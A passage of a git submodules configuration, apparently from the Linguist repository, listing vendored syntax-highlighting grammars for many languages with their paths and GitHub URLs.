vendor/grammars/nickel\n\turl = https://github.com/tweag/nickel.git\n[submodule \"vendor/grammars/nix-linguist\"]\n\tpath = vendor/grammars/nix-linguist\n\turl = https://github.com/sambacha/nix-linguist.git\n[submodule \"vendor/grammars/nu-grammar\"]\n\tpath = vendor/grammars/nu-grammar\n\turl = https://github.com/hustcer/nu-grammar.git\n[submodule \"vendor/grammars/nu.tmbundle\"]\n\tpath = vendor/grammars/nu.tmbundle\n\turl = https://github.com/jsallis/nu.tmbundle\n[submodule \"vendor/grammars/objective-c.tmbundle\"]\n\tpath = vendor/grammars/objective-c.tmbundle\n\turl = https://github.com/textmate/objective-c.tmbundle\n[submodule \"vendor/grammars/ocaml.tmbundle\"]\n\tpath = vendor/grammars/ocaml.tmbundle\n\turl = https://github.com/textmate/ocaml.tmbundle\n[submodule \"vendor/grammars/omnetpp-textmate-msg\"]\n\tpath = vendor/grammars/omnetpp-textmate-msg\n\turl = https://github.com/omnetpp/omnetpp-textmate-msg.git\n[submodule \"vendor/grammars/omnetpp-textmate-ned\"]\n\tpath = vendor/grammars/omnetpp-textmate-ned\n\turl = https://github.com/omnetpp/omnetpp-textmate-ned.git\n[submodule \"vendor/grammars/ooc.tmbundle\"]\n\tpath = vendor/grammars/ooc.tmbundle\n\turl = https://github.com/nilium/ooc.tmbundle\n[submodule \"vendor/grammars/opa.tmbundle\"]\n\tpath = vendor/grammars/opa.tmbundle\n\turl = https://github.com/mads379/opa.tmbundle\n[submodule \"vendor/grammars/openscad.tmbundle\"]\n\tpath = vendor/grammars/openscad.tmbundle\n\turl = https://github.com/tbuser/openscad.tmbundle\n[submodule \"vendor/grammars/overpassql-tmlanguage\"]\n\tpath = vendor/grammars/overpassql-tmlanguage\n\turl = https://github.com/nickswalker/overpassql-tmlanguage.git\n[submodule \"vendor/grammars/oz-tmbundle\"]\n\tpath = vendor/grammars/oz-tmbundle\n\turl = https://github.com/eregon/oz-tmbundle\n[submodule \"vendor/grammars/pact-atom\"]\n\tpath = vendor/grammars/pact-atom\n\turl = https://github.com/kadena-io/pact-atom.git\n[submodule \"vendor/grammars/parrot\"]\n\tpath = vendor/grammars/parrot\n\turl = https://github.com/textmate/parrot.tmbundle\n[submodule \"vendor/grammars/pascal.tmbundle\"]\n\tpath = vendor/grammars/pascal.tmbundle\n\turl = https://github.com/textmate/pascal.tmbundle\n[submodule \"vendor/grammars/pawn-sublime-language\"]\n\tpath = vendor/grammars/pawn-sublime-language\n\turl = https://github.com/Southclaw/pawn-sublime-language.git\n[submodule \"vendor/grammars/perl.tmbundle\"]\n\tpath = vendor/grammars/perl.tmbundle\n\turl = https://github.com/textmate/perl.tmbundle\n[submodule \"vendor/grammars/php-smarty.tmbundle\"]\n\tpath = vendor/grammars/php-smarty.tmbundle\n\turl = https://github.com/textmate/php-smarty.tmbundle\n[submodule \"vendor/grammars/php.tmbundle\"]\n\tpath = vendor/grammars/php.tmbundle\n\turl = https://github.com/ondrejmirtes/php.tmbundle.git\n[submodule \"vendor/grammars/pig-latin\"]\n\tpath = vendor/grammars/pig-latin\n\turl = https://github.com/goblindegook/sublime-text-pig-latin\n[submodule \"vendor/grammars/pike-textmate\"]\n\tpath = vendor/grammars/pike-textmate\n\turl = https://github.com/hww3/pike-textmate\n[submodule \"vendor/grammars/pkl.tmbundle\"]\n\tpath = vendor/grammars/pkl.tmbundle\n\turl = https://github.com/apple/pkl.tmbundle.git\n[submodule \"vendor/grammars/playground-cj\"]\n\tpath = vendor/grammars/playground-cj\n\turl = https://github.com/Zxilly/playground-cj.git\n[submodule \"vendor/grammars/polar-grammar\"]\n\tpath = vendor/grammars/polar-grammar\n\turl = https://github.com/osohq/polar-grammar.git\n[submodule \"vendor/grammars/portugol-grammar\"]\n\tpath = vendor/grammars/portugol-grammar\n\turl = https://github.com/luisgbr1el/portugol-grammar.git\n[submodule \"vendor/grammars/powershell\"]\n\tpath = vendor/grammars/powershell\n\turl = https://github.com/PowerShell/EditorSyntax\n[submodule \"vendor/grammars/praatvscode\"]\n\tpath = vendor/grammars/praatvscode\n\turl = https://github.com/orhunulusahin/praatvscode.git\n[submodule \"vendor/grammars/processing.tmbundle\"]\n\tpath = vendor/grammars/processing.tmbundle\n\turl = https://github.com/textmate/processing.tmbundle\n[submodule \"vendor/grammars/python-django.tmbundle\"]\n\tpath = vendor/grammars/python-django.tmbundle\n\turl = https://github.com/textmate/python-django.tmbundle\n[submodule \"vendor/grammars/qsharp\"]\n\tpath = vendor/grammars/qsharp\n\turl = https://github.com/microsoft/qsharp.git\n[submodule \"vendor/grammars/quake\"]\n\tpath = vendor/grammars/quake\n\turl = https://github.com/newgrammars/quake\n[submodule \"vendor/grammars/quakec-syntax\"]\n\tpath = vendor/grammars/quakec-syntax\n\turl = https://github.com/4LT/quakec-syntax.git\n[submodule \"vendor/grammars/r.tmbundle\"]\n\tpath = vendor/grammars/r.tmbundle\n\turl = https://github.com/textmate/r.tmbundle\n[submodule \"vendor/grammars/rascal-syntax-highlighting\"]\n\tpath = vendor/grammars/rascal-syntax-highlighting\n\turl = https://github.com/usethesource/rascal-syntax-highlighting\n[submodule \"vendor/grammars/rascript-syntax\"]\n\tpath = vendor/grammars/rascript-syntax\n\turl = https://github.com/joshraphael/rascript-syntax.git\n[submodule \"vendor/grammars/razor-plus\"]\n\tpath = vendor/grammars/razor-plus\n\turl = https://github.com/github-linguist/razor-plus\n[submodule \"vendor/grammars/rescript-vscode\"]\n\tpath = vendor/grammars/rescript-vscode\n\turl = https://github.com/rescript-lang/rescript-vscode\n[submodule \"vendor/grammars/rez.tmbundle\"]\n\tpath = vendor/grammars/rez.tmbundle\n\turl = https://github.com/textmate/rez.tmbundle.git\n[submodule \"vendor/grammars/riot-syntax-highlight\"]\n\tpath = vendor/grammars/riot-syntax-highlight\n\turl = https://github.com/riot/syntax-highlight\n[submodule \"vendor/grammars/roc-vscode-unofficial\"]\n\tpath = vendor/grammars/roc-vscode-unofficial\n\turl = https://github.com/ivan-demchenko/roc-vscode-unofficial.git\n[submodule \"vendor/grammars/ros-tmlanguage\"]\n\tpath = vendor/grammars/ros-tmlanguage\n\turl = https://github.com/jtbandes/ros-tmlanguage.git\n[submodule \"vendor/grammars/rust-syntax\"]\n\tpath = vendor/grammars/rust-syntax\n\turl = https://github.com/dustypomerleau/rust-syntax.git\n[submodule \"vendor/grammars/rust_hdl_vscode\"]\n\tpath = vendor/grammars/rust_hdl_vscode\n\turl = https://github.com/VHDL-LS/rust_hdl_vscode.git\n[submodule \"vendor/grammars/sail_vscode\"]\n\tpath = vendor/grammars/sail_vscode\n\turl = https://github.com/Timmmm/sail_vscode.git\n[submodule \"vendor/grammars/sas.tmbundle\"]\n\tpath = vendor/grammars/sas.tmbundle\n\turl = https://github.com/rpardee/sas.tmbundle\n[submodule \"vendor/grammars/scheme.tmbundle\"]\n\tpath = vendor/grammars/scheme.tmbundle\n\turl = https://github.com/sicp-lang/scheme.tmbundle\n[submodule \"vendor/grammars/scilab.tmbundle\"]\n\tpath = vendor/grammars/scilab.tmbundle\n\turl = https://github.com/textmate/scilab.tmbundle\n[submodule \"vendor/grammars/secondlife-lsl\"]\n\tpath = vendor/grammars/secondlife-lsl\n\turl = https://github.com/textmate/secondlife-lsl.tmbundle\n[submodule \"vendor/grammars/selinux-policy-languages\"]\n\tpath = vendor/grammars/selinux-policy-languages\n\turl = https://github.com/google/selinux-policy-languages\n[submodule \"vendor/grammars/shaders-tmLanguage\"]\n\tpath = vendor/grammars/shaders-tmLanguage\n\turl = https://github.com/tgjones/shaders-tmLanguage\n[submodule \"vendor/grammars/slang-vscode-extension\"]\n\tpath = vendor/grammars/slang-vscode-extension\n\turl = https://github.com/shader-slang/slang-vscode-extension.git\n[submodule \"vendor/grammars/slint-tmLanguage\"]\n\tpath = vendor/grammars/slint-tmLanguage\n\turl = https://github.com/slint-ui/slint-tmLanguage.git\n[submodule \"vendor/grammars/smali-sublime\"]\n\tpath = vendor/grammars/smali-sublime\n\turl = https://github.com/ShaneWilton/sublime-smali\n[submodule \"vendor/grammars/smalltalk-tmbundle\"]\n\tpath = vendor/grammars/smalltalk-tmbundle\n\turl = https://github.com/tomas-stefano/smalltalk-tmbundle\n[submodule \"vendor/grammars/smithy-vscode\"]\n\tpath = vendor/grammars/smithy-vscode\n\turl = https://github.com/awslabs/smithy-vscode.git\n[submodule \"vendor/grammars/sourcepawn-vscode\"]\n\tpath = vendor/grammars/sourcepawn-vscode\n\turl = https://github.com/Sarrus1/sourcepawn-vscode.git\n[submodule \"vendor/grammars/sprocket-vscode\"]\n\tpath = vendor/grammars/sprocket-vscode\n\turl = https://github.com/stjude-rust-labs/sprocket-vscode.git\n[submodule \"vendor/grammars/sql.tmbundle\"]\n\tpath = vendor/grammars/sql.tmbundle\n\turl = https://github.com/textmate/sql.tmbundle\n[submodule \"vendor/grammars/squirrel-language\"]\n\tpath = vendor/grammars/squirrel-language\n\turl = https://github.com/mathewmariani/squirrel-language\n[submodule \"vendor/grammars/st2-zonefile\"]\n\tpath = vendor/grammars/st2-zonefile\n\turl = https://github.com/sixty4k/st2-zonefile\n[submodule \"vendor/grammars/standard-ml.tmbundle\"]\n\tpath = vendor/grammars/standard-ml.tmbundle\n\turl = https://github.com/textmate/standard-ml.tmbundle\n[submodule \"vendor/grammars/sublime-MuPAD\"]\n\tpath = vendor/grammars/sublime-MuPAD\n\turl = https://github.com/ccreutzig/sublime-MuPAD\n[submodule \"vendor/grammars/sublime-angelscript\"]\n\tpath = vendor/grammars/sublime-angelscript\n\turl = https://github.com/wronex/sublime-angelscript\n[submodule \"vendor/grammars/sublime-aspectj\"]\n\tpath = vendor/grammars/sublime-aspectj\n\turl = https://github.com/pchaigno/sublime-aspectj\n[submodule \"vendor/grammars/sublime-autoit\"]\n\tpath = vendor/grammars/sublime-autoit\n\turl = https://github.com/AutoIt/SublimeAutoItScript\n[submodule \"vendor/grammars/sublime-befunge\"]\n\tpath = vendor/grammars/sublime-befunge\n\turl = https://github.com/johanasplund/sublime-befunge\n[submodule \"vendor/grammars/sublime-boo\"]\n\tpath = vendor/grammars/sublime-boo\n\turl = https://github.com/drslump/sublime-boo\n[submodule \"vendor/grammars/sublime-bsv\"]\n\tpath = vendor/grammars/sublime-bsv\n\turl = https://github.com/thotypous/sublime-bsv\n[submodule \"vendor/grammars/sublime-cirru\"]\n\tpath = vendor/grammars/sublime-cirru\n\turl = https://github.com/Cirru/sublime-cirru\n[submodule \"vendor/grammars/sublime-clips\"]\n\tpath = vendor/grammars/sublime-clips\n\turl = https://github.com/psicomante/CLIPS-sublime\n[submodule \"vendor/grammars/sublime-cypher\"]\n\tpath = vendor/grammars/sublime-cypher\n\turl = https://github.com/fredbenenson/sublime-cypher.git\n[submodule \"vendor/grammars/sublime-fantom\"]\n\tpath = vendor/grammars/sublime-fantom\n\turl = https://github.com/rkoeninger/sublime-fantom\n[submodule \"vendor/grammars/sublime-glsl\"]\n\tpath = vendor/grammars/sublime-glsl\n\turl = https://github.com/euler0/sublime-glsl\n[submodule \"vendor/grammars/sublime-golo\"]\n\tpath = vendor/grammars/sublime-golo\n\turl = https://github.com/TypeUnsafe/sublime-golo\n[submodule \"vendor/grammars/sublime-lambdapi\"]\n\tpath = vendor/grammars/sublime-lambdapi\n\turl = https://github.com/Deducteam/sublime-lambdapi.git\n[submodule \"vendor/grammars/sublime-mask\"]\n\tpath = vendor/grammars/sublime-mask\n\turl = https://github.com/tenbits/sublime-mask\n[submodule \"vendor/grammars/sublime-nearley\"]\n\tpath = vendor/grammars/sublime-nearley\n\turl = https://github.com/Hardmath123/sublime-nearley\n[submodule \"vendor/grammars/sublime-netlinx\"]\n\tpath = vendor/grammars/sublime-netlinx\n\turl = https://github.com/amclain/sublime-netlinx\n[submodule \"vendor/grammars/sublime-odin\"]\n\tpath = vendor/grammars/sublime-odin\n\turl = https://github.com/odin-lang/sublime-odin\n[submodule \"vendor/grammars/sublime-opal\"]\n\tpath = vendor/grammars/sublime-opal\n\turl = https://github.com/artifactz/sublime-opal\n[submodule \"vendor/grammars/sublime-pony\"]\n\tpath = vendor/grammars/sublime-pony\n\turl = https://github.com/CausalityLtd/sublime-pony\n[submodule \"vendor/grammars/sublime-promela-spin\"]\n\tpath = vendor/grammars/sublime-promela-spin\n\turl = https://github.com/corbanmailloux/sublime-promela-spin.git\n[submodule \"vendor/grammars/sublime-q\"]\n\tpath = vendor/grammars/sublime-q\n\turl = https://github.com/komsit37/sublime-q\n[submodule \"vendor/grammars/sublime-rexx\"]\n\tpath = vendor/grammars/sublime-rexx\n\turl = https://github.com/mblocker/rexx-sublime\n[submodule \"vendor/grammars/sublime-robot-plugin\"]\n\tpath = vendor/grammars/sublime-robot-plugin\n\turl = https://github.com/shellderp/sublime-robot-plugin\n[submodule \"vendor/grammars/sublime-shen\"]\n\tpath = vendor/grammars/sublime-shen\n\turl = https://github.com/rkoeninger/sublime-shen\n[submodule \"vendor/grammars/sublime-spintools\"]\n\tpath = vendor/grammars/sublime-spintools\n\turl = https://github.com/bitbased/sublime-spintools\n[submodule \"vendor/grammars/sublime-tea\"]\n\tpath = vendor/grammars/sublime-tea\n\turl = https://github.com/pferruggiaro/sublime-tea\n[submodule \"vendor/grammars/sublime-terra\"]\n\tpath = vendor/grammars/sublime-terra\n\turl = https://github.com/pyk/sublime-terra\n[submodule \"vendor/grammars/sublime-text-ox\"]\n\tpath = vendor/grammars/sublime-text-ox\n\turl = https://github.com/andreashetland/sublime-text-ox\n[submodule \"vendor/grammars/sublime-zig-language\"]\n\tpath = vendor/grammars/sublime-zig-language\n\turl = https://github.com/ziglang/sublime-zig-language\n[submodule \"vendor/grammars/sublimeassembly\"]\n\tpath = vendor/grammars/sublimeassembly\n\turl = https://github.com/Nessphoro/sublimeassembly\n[submodule \"vendor/grammars/sublimeprolog\"]\n\tpath = vendor/grammars/sublimeprolog\n\turl = https://github.com/alnkpa/sublimeprolog\n[submodule \"vendor/grammars/sublimetext-cuda-cpp\"]\n\tpath = vendor/grammars/sublimetext-cuda-cpp\n\turl = https://github.com/harrism/sublimetext-cuda-cpp\n[submodule \"vendor/grammars/sublimetext-nasl\"]\n\tpath = vendor/grammars/sublimetext-nasl\n\turl = https://github.com/tenable/sublimetext-nasl\n[submodule \"vendor/grammars/surrealql-grammar\"]\n\tpath = vendor/grammars/surrealql-grammar\n\turl = https://github.com/surrealdb/surrealql-grammar.git\n[submodule \"vendor/grammars/svelte-atom\"]\n\tpath = vendor/grammars/svelte-atom\n\turl = https://github.com/sebastinez/svelte-atom.git\n[submodule \"vendor/grammars/sway-vscode-plugin\"]\n\tpath = vendor/grammars/sway-vscode-plugin\n\turl = https://github.com/FuelLabs/sway-vscode-plugin.git\n[submodule \"vendor/grammars/sweave.tmbundle\"]\n\tpath = vendor/grammars/sweave.tmbundle\n\turl = https://github.com/textmate/sweave.tmbundle.git\n[submodule \"vendor/grammars/swift-tmlanguage\"]\n\tpath = vendor/grammars/swift-tmlanguage\n\turl = https://github.com/jtbandes/swift-tmlanguage.git\n[submodule \"vendor/grammars/syntax\"]\n\tpath = vendor/grammars/syntax\n\turl = https://github.com/hashicorp/syntax.git\n[submodule \"vendor/grammars/syntax-mcfunction\"]\n\tpath = vendor/grammars/syntax-mcfunction\n\turl = https://github.com/MinecraftCommands/syntax-mcfunction.git\n[submodule \"vendor/grammars/tact-sublime\"]\n\tpath = vendor/grammars/tact-sublime\n\turl = https://github.com/tact-lang/tact-sublime.git\n[submodule \"vendor/grammars/tcl.tmbundle\"]\n\tpath = vendor/grammars/tcl.tmbundle\n\turl = https://github.com/textmate/tcl.tmbundle\n[submodule \"vendor/grammars/templ-vscode\"]\n\tpath = vendor/grammars/templ-vscode\n\turl = https://github.com/templ-go/templ-vscode.git\n[submodule \"vendor/grammars/textmate\"]\n\tpath = vendor/grammars/textmate\n\turl = https://github.com/flix/textmate.git\n[submodule \"vendor/grammars/textmate.tmbundle\"]\n\tpath = vendor/grammars/textmate.tmbundle\n\turl = https://github.com/textmate/textmate.tmbundle\n[submodule \"vendor/grammars/textproto-grammar\"]\n\tpath = vendor/grammars/textproto-grammar\n\turl = https://github.com/thejustinwalsh/textproto-grammar.git\n[submodule \"vendor/grammars/thrift.tmbundle\"]\n\tpath = vendor/grammars/thrift.tmbundle\n\turl = https://github.com/textmate/thrift.tmbundle\n[submodule \"vendor/grammars/tlv-vscode\"]\n\tpath = vendor/grammars/tlv-vscode\n\turl = https://github.com/adamint/tlv-vscode\n[submodule \"vendor/grammars/toml.tmbundle\"]\n\tpath = vendor/grammars/toml.tmbundle\n\turl = https://github.com/textmate/toml.tmbundle\n[submodule \"vendor/grammars/turtle.tmbundle\"]\n\tpath = vendor/grammars/turtle.tmbundle\n\turl = https://github.com/peta/turtle.tmbundle\n[submodule \"vendor/grammars/typespec\"]\n\tpath = vendor/grammars/typespec\n\turl = https://github.com/microsoft/typespec.git\n[submodule \"vendor/grammars/typst-grammar\"]\n\tpath = vendor/grammars/typst-grammar\n\turl = https://github.com/michidk/typst-grammar.git\n[submodule \"vendor/grammars/verilog.tmbundle\"]\n\tpath = vendor/grammars/verilog.tmbundle\n\turl = https://github.com/textmate/verilog.tmbundle\n[submodule \"vendor/grammars/vsc-ember-syntax\"]\n\tpath = vendor/grammars/vsc-ember-syntax\n\turl = https://github.com/lifeart/vsc-ember-syntax.git\n[submodule \"vendor/grammars/vsc-fennel\"]\n\tpath = vendor/grammars/vsc-fennel\n\turl = https://github.com/kongeor/vsc-fennel\n[submodule \"vendor/grammars/vsc-language-1c-bsl\"]\n\tpath = vendor/grammars/vsc-language-1c-bsl\n\turl = https://github.com/1c-syntax/vsc-language-1c-bsl.git\n[submodule \"vendor/grammars/vscode\"]\n\tpath = vendor/grammars/vscode\n\turl = https://github.com/QB64Official/vscode.git\n[submodule \"vendor/grammars/vscode-TalonScript\"]\n\tpath = vendor/grammars/vscode-TalonScript\n\turl = https://github.com/mrob95/vscode-TalonScript.git\n[submodule \"vendor/grammars/vscode-aiken\"]\n\tpath = vendor/grammars/vscode-aiken\n\turl = https://github.com/aiken-lang/vscode-aiken.git\n[submodule \"vendor/grammars/vscode-antlers-language-server\"]\n\tpath = vendor/grammars/vscode-antlers-language-server\n\turl = https://github.com/Stillat/vscode-antlers-language-server.git\n[submodule \"vendor/grammars/vscode-apache\"]\n\tpath = vendor/grammars/vscode-apache\n\turl = https://github.com/mrmlnc/vscode-apache.git\n[submodule \"vendor/grammars/vscode-bitbake\"]\n\tpath = vendor/grammars/vscode-bitbake\n\turl = https://github.com/yoctoproject/vscode-bitbake.git\n[submodule \"vendor/grammars/vscode-brightscript-language\"]\n\tpath = vendor/grammars/vscode-brightscript-language\n\turl = https://github.com/rokucommunity/vscode-brightscript-language.git\n[submodule \"vendor/grammars/vscode-c3\"]\n\tpath = vendor/grammars/vscode-c3\n\turl = https://github.com/c3lang/vscode-c3.git\n[submodule \"vendor/grammars/vscode-caddyfile\"]\n\tpath = vendor/grammars/vscode-caddyfile\n\turl = https://github.com/caddyserver/vscode-caddyfile.git\n[submodule \"vendor/grammars/vscode-cadence\"]\n\tpath = vendor/grammars/vscode-cadence\n\turl = https://github.com/onflow/vscode-cadence.git\n[submodule \"vendor/grammars/vscode-cmake-tools\"]\n\tpath = vendor/grammars/vscode-cmake-tools\n\turl = https://github.com/microsoft/vscode-cmake-tools.git\n[submodule \"vendor/grammars/vscode-codeql\"]\n\tpath = vendor/grammars/vscode-codeql\n\turl = https://github.com/github/vscode-codeql\n\tbranch = main\n[submodule \"vendor/grammars/vscode-cue\"]\n\tpath = vendor/grammars/vscode-cue\n\turl = https://github.com/cue-sh/vscode-cue\n[submodule \"vendor/grammars/vscode-curry\"]\n\tpath = vendor/grammars/vscode-curry\n\turl = https://github.com/fwcd/vscode-curry\n[submodule \"vendor/grammars/vscode-dune\"]\n\tpath = vendor/grammars/vscode-dune\n\turl = https://github.com/maelvls/vscode-dune.git\n[submodule \"vendor/grammars/vscode-euphoria\"]\n\tpath = vendor/grammars/vscode-euphoria\n\turl = https://github.com/OpenEuphoria/vscode-euphoria\n[submodule \"vendor/grammars/vscode-fastly-vcl\"]\n\tpath = vendor/grammars/vscode-fastly-vcl\n\turl = https://github.com/fastly/vscode-fastly-vcl.git\n[submodule \"vendor/grammars/vscode-flatbuffers\"]\n\tpath = vendor/grammars/vscode-flatbuffers\n\turl = https://github.com/floxay/vscode-flatbuffers.git\n[submodule \"vendor/grammars/vscode-fluent\"]\n\tpath = vendor/grammars/vscode-fluent\n\turl = https://github.com/macabeus/vscode-fluent\n[submodule \"vendor/grammars/vscode-gcode-syntax\"]\n\tpath = vendor/grammars/vscode-gcode-syntax\n\turl = https://github.com/appliedengdesign/vscode-gcode-syntax\n[submodule \"vendor/grammars/vscode-gedcom\"]\n\tpath = vendor/grammars/vscode-gedcom\n\turl = https://github.com/fguitton/vscode-gedcom\n[submodule \"vendor/grammars/vscode-gleam\"]\n\tpath = vendor/grammars/vscode-gleam\n\turl = https://github.com/gleam-lang/vscode-gleam.git\n[submodule \"vendor/grammars/vscode-go\"]\n\tpath = vendor/grammars/vscode-go\n\turl = https://github.com/golang/vscode-go\n[submodule \"vendor/grammars/vscode-go-template\"]\n\tpath = vendor/grammars/vscode-go-template\n\turl = https://github.com/jinliming2/vscode-go-template.git\n[submodule \"vendor/grammars/vscode-hack\"]\n\tpath = vendor/grammars/vscode-hack\n\turl = https://github.com/slackhq/vscode-hack\n[submodule \"vendor/grammars/vscode-hy\"]\n\tpath = vendor/grammars/vscode-hy\n\turl = https://github.com/tshakalekholoane/vscode-hy\n[submodule \"vendor/grammars/vscode-ibmi-languages\"]\n\tpath = vendor/grammars/vscode-ibmi-languages\n\turl = https://github.com/barrettotte/vscode-ibmi-languages\n[submodule \"vendor/grammars/vscode-janet\"]\n\tpath = vendor/grammars/vscode-janet\n\turl = https://github.com/janet-lang/vscode-janet.git\n[submodule \"vendor/grammars/vscode-jest\"]\n\tpath = vendor/grammars/vscode-jest\n\turl = https://github.com/jest-community/vscode-jest\n[submodule \"vendor/grammars/vscode-jsonc-syntax-highlighting\"]\n\tpath = vendor/grammars/vscode-jsonc-syntax-highlighting\n\turl = https://github.com/DecimalTurn/vscode-jsonc-syntax-highlighting.git\n[submodule \"vendor/grammars/vscode-just\"]\n\tpath = vendor/grammars/vscode-just\n\turl = https://github.com/nefrob/vscode-just.git\n[submodule \"vendor/grammars/vscode-kcl\"]\n\tpath = vendor/grammars/vscode-kcl\n\turl = https://github.com/kcl-lang/vscode-kcl.git\n[submodule \"vendor/grammars/vscode-kdl\"]\n\tpath = vendor/grammars/vscode-kdl\n\turl = https://github.com/kdl-org/vscode-kdl.git\n[submodule \"vendor/grammars/vscode-kolmafia-ash\"]\n\tpath = vendor/grammars/vscode-kolmafia-ash\n\turl = https://github.com/midgleyc/vscode-kolmafia-ash\n[submodule \"vendor/grammars/vscode-lean\"]\n\tpath = vendor/grammars/vscode-lean\n\turl = https://github.com/leanprover/vscode-lean\n[submodule \"vendor/grammars/vscode-lean4\"]\n\tpath = vendor/grammars/vscode-lean4\n\turl = https://github.com/leanprover/vscode-lean4.git\n[submodule \"vendor/grammars/vscode-liquidsoap\"]\n\tpath = vendor/grammars/vscode-liquidsoap\n\turl = https://github.com/savonet/vscode-liquidsoap\n[submodule \"vendor/grammars/vscode-livecodescript\"]\n\tpath = vendor/grammars/vscode-livecodescript\n\turl = https://github.com/Ferruslogic/vscode-livecodescript.git\n[submodule \"vendor/grammars/vscode-minizinc\"]\n\tpath = vendor/grammars/vscode-minizinc\n\turl = https://github.com/Dekker1/vscode-minizinc.git\n[submodule \"vendor/grammars/vscode-monkey-c\"]\n\tpath = vendor/grammars/vscode-monkey-c\n\turl = https://github.com/ghisguth/vscode-monkey-c\n[submodule \"vendor/grammars/vscode-motoko\"]\n\tpath = vendor/grammars/vscode-motoko\n\turl = https://github.com/caffeinelabs/vscode-motoko.git\n[submodule \"vendor/grammars/vscode-move-syntax\"]\n\tpath = vendor/grammars/vscode-move-syntax\n\turl = https://github.com/damirka/vscode-move-syntax.git\n[submodule \"vendor/grammars/vscode-nginx\"]\n\tpath = vendor/grammars/vscode-nginx\n\turl = https://github.com/william-voyek/vscode-nginx.git\n[submodule \"vendor/grammars/vscode-noir\"]\n\tpath = vendor/grammars/vscode-noir\n\turl = https://github.com/noir-lang/vscode-noir.git\n[submodule \"vendor/grammars/vscode-opa\"]\n\tpath = vendor/grammars/vscode-opa\n\turl = https://github.com/open-policy-agent/vscode-opa.git\n[submodule \"vendor/grammars/vscode-pddl\"]\n\tpath = vendor/grammars/vscode-pddl\n\turl = https://github.com/jan-dolejsi/vscode-pddl.git\n[submodule \"vendor/grammars/vscode-plantuml\"]\n\tpath = vendor/grammars/vscode-plantuml\n\turl = https://github.com/qjebbs/vscode-plantuml\n[submodule \"vendor/grammars/vscode-prisma\"]\n\tpath = vendor/grammars/vscode-prisma\n\turl = https://github.com/prisma/vscode-prisma\n[submodule \"vendor/grammars/vscode-procfile\"]\n\tpath = vendor/grammars/vscode-procfile\n\turl = https://github.com/benspaulding/vscode-procfile\n[submodule \"vendor/grammars/vscode-proto3\"]\n\tpath = vendor/grammars/vscode-proto3\n\turl = https://github.com/zxh0/vscode-proto3\n[submodule \"vendor/grammars/vscode-python\"]\n\tpath = vendor/grammars/vscode-python\n\turl = https://github.com/microsoft/vscode-python.git\n[submodule \"vendor/grammars/vscode-rbs-syntax\"]\n\tpath = vendor/grammars/vscode-rbs-syntax\n\turl = https://github.com/soutaro/vscode-rbs-syntax.git\n[submodule \"vendor/grammars/vscode-ron\"]\n\tpath = vendor/grammars/vscode-ron\n\turl = https://github.com/a5huynh/vscode-ron.git\n[submodule \"vendor/grammars/vscode-ruby-slim\"]\n\tpath = vendor/grammars/vscode-ruby-slim\n\turl = https://github.com/borama/vscode-ruby-slim.git\n[submodule \"vendor/grammars/vscode-scala-syntax\"]\n\tpath = vendor/grammars/vscode-scala-syntax\n\turl = https://github.com/scala/vscode-scala-syntax\n[submodule \"vendor/grammars/vscode-singularity\"]\n\tpath = vendor/grammars/vscode-singularity\n\turl = https://github.com/onnovalkering/vscode-singularity\n[submodule \"vendor/grammars/vscode-slice\"]\n\tpath = vendor/grammars/vscode-slice\n\turl = https://github.com/zeroc-ice/vscode-slice\n[submodule \"vendor/grammars/vscode-teal\"]\n\tpath = vendor/grammars/vscode-teal\n\turl = https://github.com/teal-language/vscode-teal.git\n[submodule \"vendor/grammars/vscode-tmdl\"]\n\tpath = vendor/grammars/vscode-tmdl\n\turl = https://github.com/microsoft/vscode-tmdl.git\n[submodule \"vendor/grammars/vscode-tree-sitter-query\"]\n\tpath = vendor/grammars/vscode-tree-sitter-query\n\turl = https://github.com/jrieken/vscode-tree-sitter-query.git\n[submodule \"vendor/grammars/vscode-vba\"]\n\tpath = vendor/grammars/vscode-vba\n\turl = https://github.com/serkonda7/vscode-vba.git\n[submodule \"vendor/grammars/vscode-vcard\"]\n\tpath = vendor/grammars/vscode-vcard\n\turl = https://github.com/cstrachan88/vscode-vcard.git\n[submodule \"vendor/grammars/vscode-vento\"]\n\tpath = vendor/grammars/vscode-vento\n\turl = https://github.com/ventojs/vscode-vento.git\n[submodule \"vendor/grammars/vscode-vlang\"]\n\tpath = vendor/grammars/vscode-vlang\n\turl = https://github.com/0x9ef/vscode-vlang\n[submodule \"vendor/grammars/vscode-wit\"]\n\tpath = vendor/grammars/vscode-wit\n\turl = https://github.com/bytecodealliance/vscode-wit.git\n[submodule \"vendor/grammars/vscode-wren\"]\n\tpath = vendor/grammars/vscode-wren\n\turl = https://github.com/Nelarius/vscode-wren.git\n[submodule \"vendor/grammars/vscode-yara\"]\n\tpath = vendor/grammars/vscode-yara\n\turl = https://github.com/infosec-intern/vscode-yara.git\n[submodule \"vendor/grammars/vscode-zil-language\"]\n\tpath = vendor/grammars/vscode-zil-language\n\turl = https://github.com/tclem/vscode-zil-language\n[submodule \"vendor/grammars/vscode_cobol\"]\n\tpath = vendor/grammars/vscode_cobol\n\turl = https://github.com/spgennard/vscode_cobol.git\n[submodule \"vendor/grammars/vscode_mikrotik_routeros_script\"]\n\tpath = vendor/grammars/vscode_mikrotik_routeros_script\n\turl = https://github.com/devMikeUA/vscode_mikrotik_routeros_script.git\n[submodule \"vendor/grammars/wgsl-analyzer\"]\n\tpath = vendor/grammars/wgsl-analyzer\n\turl = https://github.com/wgsl-analyzer/wgsl-analyzer.git\n[submodule \"vendor/grammars/witcherscript-grammar\"]\n\tpath = vendor/grammars/witcherscript-grammar\n\turl = https://github.com/ADawesomeguy/witcherscript-grammar.git\n[submodule \"vendor/grammars/wollok-sublime\"]\n\tpath = vendor/grammars/wollok-sublime\n\turl = https://github.com/uqbar-project/wollok-sublime\n[submodule \"vendor/grammars/xc.tmbundle\"]\n\tpath = vendor/grammars/xc.tmbundle\n\turl = https://github.com/graymalkin/xc.tmbundle\n[submodule \"vendor/grammars/xmake-lua.tmbundle\"]\n\tpath = vendor/grammars/xmake-lua.tmbundle\n\turl = https://github.com/xmake-io/xmake-lua.tmbundle\n[submodule \"vendor/grammars/xml.tmbundle\"]\n\tpath = vendor/grammars/xml.tmbundle\n\turl = https://github.com/textmate/xml.tmbundle\n[submodule \"vendor/grammars/zeek-sublime\"]\n\tpath = vendor/grammars/zeek-sublime\n\turl = https://github.com/zeek/zeek-sublime\n[submodule \"vendor/grammars/zenstack\"]\n\tpath = vendor/grammars/zenstack\n\turl = https://github.com/zenstackhq/zenstack.git\n[submodule \"vendor/grammars/zephir-sublime\"]\n\tpath = vendor/grammars/zephir-sublime\n\turl = https://github.com/phalcon/zephir-sublime\n"
  },
  {
    "path": "AGENTS.md",
